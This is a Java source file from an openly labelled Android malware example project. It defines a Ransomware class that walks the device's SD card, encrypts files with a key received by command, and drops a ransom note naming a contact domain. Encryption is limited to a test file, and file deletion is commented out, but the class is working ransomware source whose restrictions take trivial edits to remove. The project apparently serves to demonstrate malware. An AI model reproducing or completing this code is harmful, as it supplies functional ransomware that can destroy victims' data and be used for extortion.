/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.os.Environment;
import android.util.Log;

import java.io.File;
import java.io.FileWriter;
import java.util.List;

/**
 * Created by darrylb on 12/20/16.
 * This class is an example ransomware class that encrypts files on the SD card based on the encryption key sent in the command to the device (yes I know that sending the key to the client is not secure
 * but it's only an example of doing it..  in real life the key should be generated from the client and sent to the server to storage)
 *
 */

public class Ransomware {

    String root_sd = Environment.getExternalStorageDirectory().toString();
    Context context;
    ConfigParams params;
    String EncKey;
    FileUtils fileutils;

    public Ransomware(Context _context,ConfigParams _params, String _EncKey){

        context = _context;
        params = _params;
        EncKey = _EncKey;
        fileutils = new FileUtils(context);
        if (params.Debug){
            try {
                //creates a test file to ransom rather then real files
                File testfile = new File(root_sd, "test.AAAAAA");
                FileWriter writer = new FileWriter(testfile);
                writer.append("Ransom me off to the highest bidder");
                writer.flush();
                writer.close();
            } catch (Exception  ex) {
                Log.d(params.PROGID,"Unable to create test ransom file");
            }
        }
    }

    public void createWarning() {

        try {
            //put a readme file down to warn the user of the device
            File testfile = new File(root_sd, "README_RANSOMWARE.txt");
            FileWriter writer = new FileWriter(testfile);
            writer.append("Your files have been encrypted and are being held for ransom. Contact John Doe @ youoweme.com");
            writer.flush();
            writer.close();
        } catch (Exception ex) {

        }
    }
    //Encrypt the SD card contents
    public void encrypt(){
        ListSDFiles sdfiles = new ListSDFiles(context);
        List<String> files = sdfiles.getAllFiles();

        for (String file  : files) {
            //don't encrypt files already encryped or the README file
            if (file.endsWith(".enc") || file.endsWith("README_RANSOMWARE.txt")){
                //already encrypted ignore
            }else {
                if (file.endsWith("test.AAAAAA")) {
                    if (params.Logging)
                        Log.d(params.PROGID, "Ransoming File:[" + EncKey + "]:[" + file + "]");
                    //DO NOT ENABLE THIS UNLESS YOU WANT MAJOR PROBLEMS ;)
                    fileutils.EncryptFile(root_sd + "/", file.replace(root_sd + "/", ""), EncKey);
//                    File sdfile = new File(file);
//                    boolean deleted = sdfile.delete();
                }
            }
        }



    }
    //
    public void decrypt() {
        ListSDFiles sdfiles = new ListSDFiles(context);
        List<String> files = sdfiles.getAllFiles();

        for (String file  : files) {
            if (file.endsWith(".enc")){
                if (file.endsWith("test.AAAAAA.enc")){
                    if (params.Logging)     Log.d(params.PROGID, "Freeing File:"+EncKey+"]:["+file+"]");
                    //DO NOT ENABLE THIS UNLESS YOU WANT MAJOR PROBLEMS ;)
//                    File sdfile = new File(file);
//                    boolean deleted = sdfile.delete();
                }

            }

        }


    }
}
